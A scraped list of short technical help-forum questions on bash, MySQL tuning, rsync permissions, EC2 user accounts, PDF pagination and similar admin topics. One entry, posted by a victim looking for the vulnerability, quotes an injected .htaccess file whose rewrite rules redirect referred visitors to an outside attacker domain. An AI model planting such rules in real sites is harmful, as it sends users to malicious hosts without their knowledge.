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• Mongo Scripting the shell

  - by cKendrick

  On my production stack, I have a front-end server and a Mongo server. I would like to be able to set a cron job on the front-end server to create some logs daily. I wrote a script that does this: ./mongo server:27017/dbname --quiet my_commands.js If I run it from the Mongo server as above, it works fine. However, I would like to be able to run it from the front-end server. When I try to do that, I get: -bash: mongo: command not found Since mongo is not installed on the front end server, it gives me that error. Is it possible to somehow bind mongo to my mongo on the Mongo server?

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• How can I programmatically renumber pages in a PDF?

  - by Andrew

  As a graduate student, I come across PDFs of articles and book chapters on a daily basis. Sometimes these PDFs are paginated correctly internally (that is, if an article starts on page 67, the PDF starts on page 67 as well; not on page 1). When they aren't, I have to open the file in Acrobat and renumber the pages in the "Page Thumbnails" panel. I would love to be able to automate this whole process with a script (bash, Python, AppleScript, whatever) that lets me pass the first actual page number... something like fixpagination example.pdf 67. However, I cannot find any terminal-based program that can re-paginate PDFs. Neither pdftk nor PyPDF seem to be able to deal with pagination. Are there any scriptable programs that can internally re-paginate PDF files?

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• Creating user accounts in Amazon EC2

  - by Tvanover

  I am putting together a test environment using Amazon's EC2 for me and some friends to collaborate on a project. I am not a server guy but I do know my way around a bash prompt and have done some work on ubuntu before. I am using Amazon Linux AMI i386 EBS and have gotten apache and php running. Now I need to create the user accounts my friends and I will use to upload files (sftp) and work on the project (ssh). How should I go about this? Should I just use adduser and configure it like normal? Or should I use the AWS IAM groups?

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• Batch converting video from avc1 to xvid

  - by Tommy Brunn

  I need a way to batch convert 720p video files from avc1 to xvid in Ubuntu 10.04. I'm not terribly concerned about file size, but I do wish to retain the picture quality as much as possible. I believe the audio is encoded as aac, which is fine for my purposes. What would be the best and easiest way to do this? I've tried using Handbrake. During my first attempt, I had it using ffmpeg to convert to MPEG-4, but that just gave me a super-low quality video at twice the file size. Trying h.264 now, so we'll see how that works out. But just in case it doesn't pan out so well, what other ways do you recommend? I was thinking I'd write a bash script to reencode the files one by one, but the problem is that I have very little knowledge about codecs and containers and whatnot - so I wouldn't know what parameters I would pass ffmpeg/mencoder.

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• connection to apache server switches sockets connection

  - by Newben

  I have just post a question but I post an other one because the problem is not the one I had in thought when asking the latter. So, I am running some rails app on osx, when I run rails s, everything works fine. If I shut down the apache server (mamp) and if I run rails s again, I have this message Can't connect to local MySQL server through socket '/Applications/MAMP/tmp/mysql/mysql.sock', which for sure is normal. For info, my mamp server is running, and the connection must pass through /Applications/MAMP/Library/bin/mysql, so I aliased it by setting in my bash profile : alias mysql="/Applications/MAMP/Library/bin/mysql" Now, when I launch a rails generate command type, I get this message : /$root/vendor/bundle/ruby/2.0.0/gems/mysql2-0.3.11/lib/mysql2/client.rb:44:in `connect': Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) (Mysql2::Error) So how it can be ?

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• Using sudo /etc/init.d/httpd start complains for log file rights

  - by SCO

  I created a custom log directory with the root account, and chmoded it to 777 teporarily. ls -la /var/mylogs/log/ total 16 drwxrwxrwx 2 root root 4096 Jun 24 06:27 . drwxr-xr-x 5 root root 4096 Jun 24 06:25 .. When I try to start the service from a user (lets say "myuser", which is in the sudoers files as myuser ALL=(ALL) ALL), it fails because of the permissions : sudo /etc/init.d/httpd start Starting httpd: (13)Permission denied: httpd: could not open error log file /var/mylogs/log/httpd_error.log. Unable to open logs However, the following is successfull : sudo bash /etc/init.d/http start So I guess these two methods are not equivalent, although to me doing sudo was the same than logging into the root account and issuing the commands. Any clue ? Thank you !

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• Why is my server performance degrading to the point of stopping, periodically?

  - by Pascal Aschwanden

  So, once in a while, I see in firebug that a request takes over 15 or even 60 seconds to respond and sometimes never. Here is what I've ruled out: It's not the CPU, cuz every time I check the Server load its less then 6 for all 3 numbers It's not the memory, because thats fairly low too, less the 50% It's not the I/O anymore, because I've seen the graphs that Joyent sent back to me when I requested them, and they show less then 3MB of I/O (mostly all read). It's not the SQL performance - I've profiled every last SQL command that runs, and they're all (99.9% of them anyway) running in less then 30ms, most run in less then 5ms. Oh and I've been profiling all the script execution times, and even the when the problem occurs, the script always manages to finish in 50ms or less (that's 1 / 20th of a second ). Now, I do run alot of ajax calls. 1 every 2 seconds per user and I have 300 DAU+. But, even if all 300 are playing simultaneously, thats still only 150 calls per second max. The only other thing I can think of is that one of my neighbors is funky. The problem is highly intermittent. 99% of the time it works perfectly and there's excellent performance. but 99%+ is not good enough. Eventually the performance gets so bad I have to restart the server, at which point everything is fine again. I've done this about 4 times now. Any ideas? Note: this is on joyent, vps, intro package 256mb of ram with bursting. here are the mysql dump info: Traffic ø per hour Received 18 MiB 29 MiB Sent 134 MiB 221 MiB Total 151 MiB 251 MiB Connections ø per hour % max. concurrent connections 5 --- --- Failed attempts 0 0.00 0.00% Aborted 0 0.00 0.00% Total 9,418 15.59 k 100.00%

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• Desktop directory disappears in gnome-terminal, then appears again, but all files in it are deleted

  - by Ingen

  I am able to see my Desktop and with all its various links and files. But in the terminal when I try to access the Desktop directory: cd ~/Desktop I get: bash: cd: /home/administrator/Desktop: No such file or directory Then I find I am unable to access any of the files on the Desktop when I click on them although the file icons are there. Then the icons disappear after my clicking on them. Then I am able to access the Desktop directory in the terminal but the directory is empty i.e. all the files/folders have been deleted. What's going on? How can I fix this?

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• What's a good tool for checking from my own machine that my server is up?

  - by chico

  I'm looking for a good tool (web site or not) that I can use to do a simple check whether my web server is accessible from outside LAN (it's serving in a non-standard port). To give some context, I've gone through this problem: can't access my ip from outside. Even the tools I've found are not really working. Currently to fetch the html I serve with the online bash tool I do: curl <my ip>:<my port> \ | sed 's/&/\&amp;/g; s/</\&lt;/g; s/>/\&gt;/g; s/"/\&quot;/g; s/'"'"'/\&#39;/g' I'm looking for a simple tool that can display the html properly, or just show raw text without resorting to sed html escaping and curl.

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• How to use LVM on Rackspace Cloud

  - by batrick

  Dear all, I am trying to set up a simple but effective solution to make a backup of my rackspace cloud servers. These servers each run subversion, trac, and some database-backed custom php applications. My idea is to set up a LVM and mount a volume under, say, /srv. In this volume, I keep the data from all applications. Instead of caring about how to back-up each app in a different way (svn hotcopy, trac-admin hotcopy, huge mess for mysql), I simply take an LVM snapshot and back this one up cloud files using the excellent cloudcity script (http://github.com/jspringman/cloudcity/blob/master/cloudcity). The advantage of this solution is that it is quick and easy, and LVM allows to make decent backups. As more apps are added, it should not be required to change the backup script much. The downside, and main point of my question here, is that I am not sure how to get LVM working on Rackspace cloud, because there is only one root volume and no service like Amazon's EBS. I was thinking it may be possible to create a large empty file and use this as a "physical volume". Has anybody done anything like this before? Or do you know why it can never work? It would be great to hear from you. Thanks, batrick

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• Chrome will not load a web page with an <embed> element

  - by rossmcm

  I have been trying to get a simple sound web page going: Sound.html <script> function PlaySound () { var sounder = document.getElementById ("ToneA") ; sounder.Play () ; } </script> <embed id="ToneA" height="1" width="1" src="https://dl.dropboxusercontent.com/u/311035/ToneA.mp3" autostart="false" enablejavascript="true"//> <button onclick="PlaySound () ;">Play</button> The test web page is here. It plays in IE, but not in Firefox or Chrome. My problem: Chrome reports "Could not load VLC Plugin". It seems to be a known problem that the VLC community don't necessarily feel like fixing at the moment, and is a result of Google choosing not to allow some certain kind of plugin. If I disable the plugin I no longer get the message but nothing happens when I click the button. Looking at the console in a debug window I see Uncaught TypeError: undefined is not a function Sound.html:7 PlaySound Sound.html:7 onclick which suggests Chrome could not find anything else to handle the sound file. How to I tell Chrome to use (e.g.) Windows Media Player? * UPDATE * This is apparently because the VLC plugin is a NPAPI plugin and Chrome no longer supports these. I have uninstalled VLC and this has removed the error on loading the webpage with an embedded sound element, but it still doesn't invoke WMP instead.

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• Tuning up a MySQL server

  - by NinjaCat

  I inherited a mysql server, and so I've started with running the MySQLTuner.pl script. I am not a MySQL expert but I can see that there is definitely a mess here. I'm not looking to go after every single thing that needs fixing and tuning, but I do want to grab the major, low hanging fruit. Total Memory on the system is: 512MB. Yes, I know it's low, but it's what we have for the time being. Here's what the script had to say: General recommendations: Run OPTIMIZE TABLE to defragment tables for better performance MySQL started within last 24 hours - recommendations may be inaccurate Enable the slow query log to troubleshoot bad queries When making adjustments, make tmp_table_size/max_heap_table_size equal Reduce your SELECT DISTINCT queries without LIMIT clauses Increase table_cache gradually to avoid file descriptor limits Your applications are not closing MySQL connections properly Variables to adjust: query_cache_limit (> 1M, or use smaller result sets) tmp_table_size (> 16M) max_heap_table_size (> 16M) table_cache (> 64) innodb_buffer_pool_size (>= 326M) For the variables that it recommends that I adjust, I don't even see most of them in the mysql.cnf file. [client] port = 3306 socket = /var/run/mysqld/mysqld.sock [mysqld_safe] socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] innodb_buffer_pool_size = 220M innodb_flush_log_at_trx_commit = 2 innodb_file_per_table = 1 innodb_thread_concurrency = 32 skip-locking big-tables max_connections = 50 innodb_lock_wait_timeout = 600 slave_transaction_retries = 10 innodb_table_locks = 0 innodb_additional_mem_pool_size = 20M user = mysql socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp skip-external-locking bind-address = localhost key_buffer = 16M max_allowed_packet = 16M thread_stack = 192K thread_cache_size = 4 myisam-recover = BACKUP query_cache_limit = 1M query_cache_size = 16M log_error = /var/log/mysql/error.log expire_logs_days = 10 max_binlog_size = 100M skip-locking innodb_file_per_table = 1 big-tables [mysqldump] quick quote-names max_allowed_packet = 16M [mysql] [isamchk] key_buffer = 16M !includedir /etc/mysql/conf.d/

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• Permission denied when trying to execute a binary burned to a CD-R

  - by user16654

  On an Ubuntu 9.10 (Karmic Koala) machine, I burned a CD from the command prompt using: cdrecord -v speed=16 dev=0,1,0 /FPS.iso The CD now contains an executable and some files. I tested the CD by loading it onto another machine (Red Hat 5.3) and when I try to run the program I get the following message: bash: ./FPS1_1: Permission denied I can open other files like text documents (the executable also comes with shared libraries). I realized I had burned the CD as root so I burned another one as another user but I still have the same problem. How can I remove this permission or what is the problem? P.S. the image was in / if that helps

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• rsync windows to linux permission denied

  - by user64908

  Using Command rsync -avzP --delete --omit-dir-times ../../ [email protected]:/var/www/mysite/ I'm getting rsync: mkstemp "/var/www/mysite/.." failed: Permission denied (13) If ext is in the www-data group should I still set all the files to be owned by user www-data? I am trying to publish the files with rsync and then set the permissions using sudo chown -R www-data doc sudo chgrp -R www-data doc but I can't even rsync because of the permission denied. The SSH works fine, the rsync too except when it tries to write over or update some of the files in /var/www Client * Windows 7 * Cygwin 1.7.16 (GNU bash, version 4.1.10(4)-release (i686-pc-cygwin)) * rsync version 3.0.9 protocol version 30 Server * Ubuntu 12.04 * Apache2 * Root Accounts [ubuntu,ext] * Groups [www-data] * sudo vigr has www-data:x:33:ubuntu,ext I have already configure this http://stackoverflow.com/questions/2124169/cwrsync-ignores-nontsec-on-windows-7 This article has also managed to confuse me http://unix.stackexchange.com/questions/41687/how-should-i-rsync-files-in-var-www-if-i-want-them-to-be-owned-by-www-data What is the right procedure?

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• DIsable my nv video card driver in linux

  - by Dahaka Wang

  I'm trying to passthrough my nv video card to my domU, but I could not bind my video card to the pciback driver I only have one video card with the pci number 0000:03:00.0, so I used the following command echo -n "0000:03:00.0" > /sys/bus/pci/drivers/nouveau/bind to unbind the nouveau driver from my video card. The screen went black because I have forcefully removed the video driver, therefore I ssh'd into the computer to run further commands I ran: echo -n "0000:03:00.0" > /sys/bus/pci/drivers/pciback/bind to try to bind it to my pciback driver, but I got: bash: echo: write error: No such device I found out that this was the message shown when trying to bind a PCI device which is already bound. Therefore, I think that something was still using my video card Can anyone help me out? Thanks a lot!

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• Limited user requires admin rights for plug and play printer?

  - by Kalamane

  I have a small fleet of laptops that aren't part of a domain running Windows XP Pro SP3 as limited users. They are used for printing different shipping documents. I have a script that runs when they start up that uses devcon and prntmngr to detect and install/configure the currently connected usb printers. This lets us deploy the laptops to any printing station with a USB printer and have the printer 'just work' for the end user employee. I've taken the original clone image and have added functionality to it. Since then I've discovered a bit of an issue with using HP LaserJet P1606dn printers. They have started asking for admin rights on setup. This is with and without the script running. Previously they would automatically install because I had installed WHQL plug and play drivers for them. I thought it might have to do with the HP Smart Install Utility but it happens when that is disabled. I don't have a good point to roll back to before this started happening because this was an issue on the image I took initially to start this upgrade. What could be causing this?

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• Comparison of Unix shells

  - by Andy White

  Of the major Unix shells (bash, ksh, tcsh, zsh, others?), are there any compelling reasons to use one over another? Which is the most interactive/command-line friendly? Which is the most conducive/intuitive for writing scripts? Are there any major built-in features that one shell offers that others don't? Are any of these shells really good for one type of function, but not another? Or are they all pretty well-rounded/flexible? Is it just a matter of personal preference? I can make this community wiki if anyone prefers.

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• suPHP not working

  - by amarc

  OS: Ubuntu 10.04 etc/suphp/suphp.conf: [global] ;Path to logfile logfile=/var/log/suphp/suphp.log ;Loglevel loglevel=info ;User Apache is running as webserver_user=www-data ;Path all scripts have to be in docroot=/home ;Path to chroot() to before executing script ;chroot=/mychroot ; Security options allow_file_group_writeable=false allow_file_others_writeable=false allow_directory_group_writeable=false allow_directory_others_writeable=false ;Check wheter script is within DOCUMENT_ROOT check_vhost_docroot=true ;Send minor error messages to browser errors_to_browser=false ;PATH environment variable env_path=/bin:/usr/bin ;Umask to set, specify in octal notation umask=0077 ; Minimum UID min_uid=100 ; Minimum GID min_gid=100 [handlers] ;Handler for php-scripts application/x-httpd-suphp="php:/usr/bin/php-cgi" ;Handler for CGI-scripts x-suphp-cgi="execute:!self" some vhost in sites-enabled: NameVirtualHost *:8080 <VirtualHost *:8080> ServerAdmin ... ServerName ... ServerAlias ... AddType application/x-httpd-php .php AddHandler application/x-httpd-php .php suPHP_Engine on suPHP_UserGroup user user suPHP_ConfigPath "/home/user/etc" suPHP_PHPPath /usr/bin DocumentRoot /home/user/web/site.com/ ErrorLog /var/log/apache2/site.com-error_log CustomLog /var/log/apache2/site.com-access_log common <Directory /home/user/web/site.com/> Order Deny,Allow Allow from all Options +Indexes </Directory> </VirtualHost> But when I did nano /home/user/web/id.php and paste <?php system('id'); ?> in it, result I get is: uid=33(www-data) gid=33(www-data) groups=33(www-data) Have no idea what to do so I was hoping comunity could help ty.

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• I screwed up, exit in .bashrc

  - by camel_space

  I put "exit" in my .bashrc file. I don't have physical access to the machine so to connect to it I use ssh. I don't have root privileges. Every time I connect to the server, the connection automatically closes. So far, I've tried: Overwriting .bashrc with scp and sftp. The connection closes before I can do anything. Using a few different GUI programs to access ssh (connection closes) Overwriting the file with ftp. (can't use ftp) From my home computer $ ssh host "bash --noprofile --norc" (connection closes) $ ssh host "mv .bashrc bashrc_temp" (connection closes) $ ssh host "rm .bashrc" (same thing) $ ssh host -t (connection closes) Is there anything I can do to disable .bashrc or maybe overwrite the file before .bashrc is sourced?

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• No colors when running native windows shell application from mintty

  - by Pete

  Hi. I have installed cygwin (i'm not very experienced with it), and try to run a native windows shell application from it, (msbuild.exe which is the build tool for the .NET framework, to be exact). When I run the application from the normal cygwin bash shell, the output of the application appear as it should with the text colors that I would normally see in the windows command line. But when I execute the program from a mintty terminal, there is no coloring of the output, all text is in the default foreground color. I'm puzzled, because I would have expected the color coding to be the standard ANSI color code escape characters... Can this be fixed?

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• Modify PATH variable for X11 during log-in

  - by user1028435

  I am working on some lab computers (read: no administrative rights) that, if I log in, I need to change the PATH variable as X11 starts. The reason is that I need to change the PATH variable at this time, as opposed to later, is that the Print Screen command seems to "bind" during login (forgive my bad explanation of this). Currently, I have a .bashrc script as a workaround: #!/bin/bash export PATH=/home/username/bin:$PATH I can make it work by starting a new X, but I was wondering if it is possible to change upon login. cat /etc/redhat-release tells me my distribution is: Red Hat Enterprise Linux Client release 5.8 (Tikanga)

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• How can I remap control+e to escape+control+e in iTerm2?

  - by cwd

  I have set up a few custom keyboard shortcuts in iTerm2 to easily move the cursor around with the arrow keys, but now I'd like to remap control+e to be escape, control+e because bash 4.2 no longer auto-expands variables using the tab key. I know I've done the first part correctly in choosing the keyboard shortcut to remap, but I don't understand how to look up the correct escape sequence (or hex codes) to send in the bottom section: I reference they keyboard codes but that wasn't much help. How can I remap this, and how can I look up the codes in the future? (No luck with Google) Update @db - thanks. To save others trouble I also found a cool util Key Codes.app which can be used to find key codes:

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• Log connections to program

  - by Zac

  Besides for using iptables to log incoming connections.. Is there a way to log established inbound connections to a service that you don't have the source to (suppose the service doesn't log stuff like this on its own)? What I'm wanting to do is gather some information based on who's connecting to be able to tell things like what times of the day the service is being used the most, where in the world the main user base is, etc. I am aware I can use netstat and just hook it up to a cron script, but that might not be accurate, since the script could only run as frequently as a minute. Here is what I am thinking right now: Write a program that constantly polls netstat, looking for established connections that didn't appear in the previous poll. This idea seems like such a waste of cpu time though, since there may not be a new connection.. Write a wrapper program that accepts inbound connections on whatever port the service runs on, but then I wouldn't know how to pass that connection along to the real service. Edit: Just occurred to me that this question might be better for stackoverflow, though I am not certain. Sorry if this is the wrong place.

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• Using sed to Download ComboFix automatically

  - by user901398

  I'm trying to write a shell script to grab the dynamic URL which ComboFix is located at at BleepingComputer.com/download/combofix However, for some reason I can't seem to get my regex to match the download link of the "click here" if the download doesn't work. I used a regex tester and it said I matched the link, but I can't seem to get it to work when I execute it, it turns up an empty result. Here's my entire script: #!/bin/bash # Download latest ComboFix from BleepingComputer wget -O Listing.html "http://www.bleepingcomputer.com/download/combofix/" -nv downloadpage=$(sed -ne 's@^.*<a href="\(http://www[.]bleepingcomputer[.]com/download/combofix/dl/[0-9]\+/\)" class="goodurl">.*$@\1@p' Listing.html) echo "DL Page: $downloadpage" secondpage="$downloadpage" wget -O Download.html $secondpage -nv file=$(sed -ne 's@^.*<a href="\(http://download[.]bleepingcomputer[.]com/dl/[0-9A-Fa-f]\+/[0-9A-Fa-f]\+/windows/security/anti[-]virus/c/combofix/ComboFix[.]exe\)">.*$@\1@p' Download.html) echo "File: $file" wget -O "ComboFix.exe" "$file" -nv rm Listing.html rm Download.html mkdir Tools mv "ComboFix.exe" "Tools/ComboFix.exe" -f The first two downloads work successfully, and I end up with: http://www.bleepingcomputer.com/download/combofix/dl/12/ But it fails to match the final sed that will give me the download link. The code it's supposed to match is: <a href="http://download.bleepingcomputer.com/dl/6c497ccbaff8226ec84c97dcdfc3ce9a/5058d931/windows/security/anti-virus/c/combofix/ComboFix.exe">click here</a>

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